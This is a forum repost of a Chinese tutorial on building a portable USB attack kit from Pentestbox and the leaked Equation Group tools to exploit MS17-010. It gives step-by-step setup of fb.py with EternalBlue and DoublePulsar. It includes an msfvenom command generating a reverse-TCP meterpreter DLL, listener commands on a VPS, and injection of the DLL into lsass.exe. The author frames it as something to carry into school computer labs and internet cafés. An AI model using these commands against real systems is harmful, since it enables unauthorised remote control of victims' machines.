搜索

[11273] 2017-04-24_利用Pentestbox打造MS17-010移动杀器

文档创建者：s7ckTeam
浏览次数：18
最后更新：2025-01-18
2017-04-24_利用Pentestbox打造MS17-010移动杀器 利 用 P e n t e s t b o x 打 造 M S 1 7 - 0 1 0 移 动 " 杀 器 " s s o o k i n g   F r e e B u f   2 0 1 7 - 0 4 - 2 4 * 本 文 原 创 作 者 ： s s o o k i n g ， 本 文 属 F r e e B u f 原 创 奖 励 计 划 ， 未 经 许 可 禁 止 转 载 1 、 前 言 前 段 时 间 S h a d o w   B r o k e r 披 露 了   W i n d o w s 大 量 漏 洞 ， 甚 至 爆 出 黑 客 组 织   E q u a t i o n   G r o u p   对 于 W i n d o w s   远 程 漏 洞   M S 1 7 - 0 1 0   的 利 用 工 具 ， 该 漏 洞 影 响 范 围 之 广 ， 堪 称 杀 器 。 可 以 看 看 官 方 通 告 。 大 伙 们 也 忙 的 热 火 朝 天 ~ ~ 于 是 想 着 把 攻 击 环 境 移 植 到 u 盘 里 ， 然 后 比 如 去 学 校 机 房 ， 网 吧 。 这 里 分 享 一 下 个 人 的 移 植 过 程 ， 以 及 在 使 用 攻 击 代 码 过 程 中 遇 到 的 问 题 ， 思 路 就 是 利 用 现 成 的 神 器 p e n t e s t b o x ， 向 里 添 加 攻 击 代 码 以 及 其 运 行 需 要 的 p y t h o n 环 境 。 2 、 环 境 移 植 过 程 P e n t e s t   B o x 是 一 款 W i n d o w s 平 台 下 预 配 置 的 便 携 式 开 源 渗 透 测 试 环 境 ， 集 成 了 各 种 编 译 运 行 环 境 ， 具 体 的 可 以 到 网 上 了 解 一 下 。 1 .     工 具 准 备 ： 工 具 准 备 ： P e n t e s t b o x : h t t p s : / / p e n t e s t b o x . o r g / z h / 方 程 式 工 具 包 :   E Q G R P _ L o s t _ i n _ T r a n s l a t i o n h t t p s : / / g i t h u b . c o m / x 0 r z / E Q G R P _ L o s t _ i n _ T r a n s l a t i o n / t r e e / m a s t e r p y t h o n 环 境 必 须 在 P y t h o n 2 . 6     和   p y w i n 3 2 - 2 2 1 环 境 下 ， 如 果 你 用 其 他 环 境 ， 会 报 各 种 诸 如 模 块 / d l l 缺 失 等 错 误 P y t h o n 2 . 6     和   p y w i n 3 2 - 2 2 1 位 数 需 要 相 同 ， 我 用 的 是 3 2 位 的
P y t h o n 2 . 6 . 6   （ 3 2 ）   下 载 链 接 ： h t t p s : / / w w w . p y t h o n . o r g / d o w n l o a d / r e l e a s e s / 2 . 6 . 6 / p y w i n 3 2 - 2 2 1 （ 3 2 ） 下 载 链 接 ： h t t p s : / / s o u r c e f o r g e . n e t / p r o j e c t s / p y w i n 3 2 / f i l e s / p y w i n 3 2 / B u i l d % 2 0 2 2 1 / p y w i n 3 2 - 2 2 1 . w i n 3 2 - p y 2 . 6 . e x e / d o w n l o a d 2 .     P e n t e s t b o x 下 下 p y t h o n 2 . 6 环 境 配 置 环 境 配 置 分 别 安 装 ， 然 后 你 会 得 到 攻 击 包 运 行 的 p y t h o n 2 . 6 环 境         在 P y t h o n 2 6 L i b s i t e - p a c k a g e s 目 录 下 ， 你 会 发 现 插 件 也 已 经 安 装 然 后 把 p y t h o n 2 6 这 个 文 件 夹 拷 贝 到 你 的 p e n t e s t b o x 环 境 变 量 目 录 下 ： P e n t e s t b o x b a s e 刚 才 你 也 可 以 直 接 装 到 p e n t e s t b o x b a s e 下
然 后 我 们 添 加 p y t h o n 2 . 6 环 境 变 量 , 在 P e n t e s t b o x   c o n f i g a l i a s 文 件 中 加 一 行 p y t h o n 2 6 = ” % p e n t e s t b o x _ R O O T % b a s e P y t h o n 2 6 p y t h o n . e x e ”   $ * 然 后 我 们 启 动 p e n t e s t b o x ， 由 于 p e n t e s t b o x 通 过 线 程 注 入 挂 钩 c m d . e x e 来 调 用 系 统 命 令 ， 因 此 杀 软 可 能 会 提 示 警 告 ， 信 任 即 可 。 这 个 时 候 ， 我 们 运 行 p y t h o n 2 6 可 以 看 到 环 境 配 置 成 功 3 .   漏 洞 利 用 工 具 配 置 漏 洞 利 用 工 具 配 置 我 们 下 载 E Q G R P _ L o s t _ i n _ T r a n s l a t i o n 工 具 包 , 修 改 w i n d o w s 目 录 下 f b . p y ， 去 除 不 必 要 的 代 码
然 后 我 们 把 w i n d o w s 文 件 夹 复 制 到 p e n t e s t b o x 目 录 下   这 里 我 把 w i n d o w s 里 的 文 件 放 到 p e n t e s t b o x 根 目 录 下 的 m s 1 7 - 0 1 0 文 件 夹 内 我 们 进 入 m s 0 7 - 0 1 0 目 录 并 执 行 p y t h o n 2 6   f b . p y 这 样 我 们 就 可 以 启 动 攻 击 程 序 了
3 、 攻 击 示 例 攻 击 机 ： 1 9 2 . 1 6 8 . 1 . 1 0 6 靶 机 ：   1 9 2 . 1 6 8 . 1 . 1 1 1       w i n d o w s   x 6 4   S P 1 我 们 先 用 m s f 生 成 d l l 木 马 ， 用 于 控 制 目 标 m s f v e n o m   - p   w i n d o w s / x 6 4 / m e t e r p r e t e r / r e v e r s e _ t c p   L H O S T = x x x x     L P O R T = 9 9 9 9   - f   d l l   >   9 9 9 9 - 6 4 . d l l P e n t e s t b o x 里 自 带 的 m e t a s p l o i t 框 架 我 在 使 用 总 是 时 出 现 问 题 ， 我 一 般 不 用 它 ， 我 通 常 是 在 自 己 的 v p s 服 务 器 进 行 监 听 本 地 测 试 时 候 可 以 找 一 台 k a l i 攻 击 机 d l l 木 马 我 们 可 以 提 前 生 成 好 放 在 u 盘 里 带 着 ， 随 时 备 用 * _ * 接 下 来 我 们 用 M s f 进 行 监 听 u s e   e x p l o i t / m u l t i / h a n d l e r s e t   p a y l o a d   w i n d o w s / x 6 4 / m e t e r p r e t e r / r e v e r s e _ t c p s e t   L H O S T   I P           ( 这 里 填 写 v p s 的 内 网 i p ， 记 得 开 放 监 听 端 口 ) s e t   L P O R T   9 9 9 9 s e t   s t a g e r v e r i f y s s l c e r t   f a l s e e x p l o i t   - j 如 果 没 有 设 置 s e t   s t a g e r v e r i f y s s l c e r t   f a l s e ， 获 取 s h e l l 的 时 候 可 能 会 出 现 这 样 的 情 况
回 到 f b . p y 中 ， 开 始 攻 击   D e f a u l t   T a r g e t   I P   A d d r e s s   [ ]   :         攻 击 目 标   D e f a u l t   C a l l b a c k   I P   A d d r e s s   [ ]   :   本 机 i p   U s e   R e d i r e c t i o n   [ y e s ]   :   n o               是 否 重 定 向 B a s e   L o g   d i r e c t o r y   [ D : l o g s ]   :     是 否 输 出 日 志 然 后 创 建 一 个 项 目 实 例 如 果 你 之 前 创 建 过 实 例 ， 可 以 选 择 它 ， 改 设 置 ， 也 可 以 重 新 创 建 一 个 输 入 命 令   u s e   可 以 查 看 我 们 利 用 的 e x p 模 块 我 们 使 用 E t e r n a l B l u e 模 块 ， u s e   E t e r n a l B l u e
  下 面 一 直 回 车 就 行 选 择 攻 击 目 标 的 系 统 这 里 会 询 问 你 p a y l o a d 传 输 方 式     选 择 1 ， 感 觉 更 稳 定 些 继 续 回 车 ， 确 认 信 息
成 功 之 后 ， 我 们 使 用 d o u b l e p u l s a r 模 块 继 续 一 路 回 车   选 择 协 议
  选 择 目 标 系 统 选 择 攻 击 方 式 ， 我 们 利 用 d l l 木 马 设 置 d l l 木 马 路 径 ， 我 已 经 提 前 生 成 好 放 在 u 盘 里 随 身 携 带 ， 随 时 备 用 ~ 然 后 设 置 要 注 入 的 程 序 ， 默 认 是 l s a s s . e x e 这 里 注 入 的 进 程 会 对 目 标 造 成 影 响 ， 也 试 了 几 个 其 他 程 序 ， 比 如 注 e x p l o r e r 时 候 ， 会 弹 出 一 个 报 错 框 注 入 其 他 进 程 ， 有 时 候 或 多 或 少 都 会 出 那 么 点 问 题
然 后 是 一 路 回 车
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理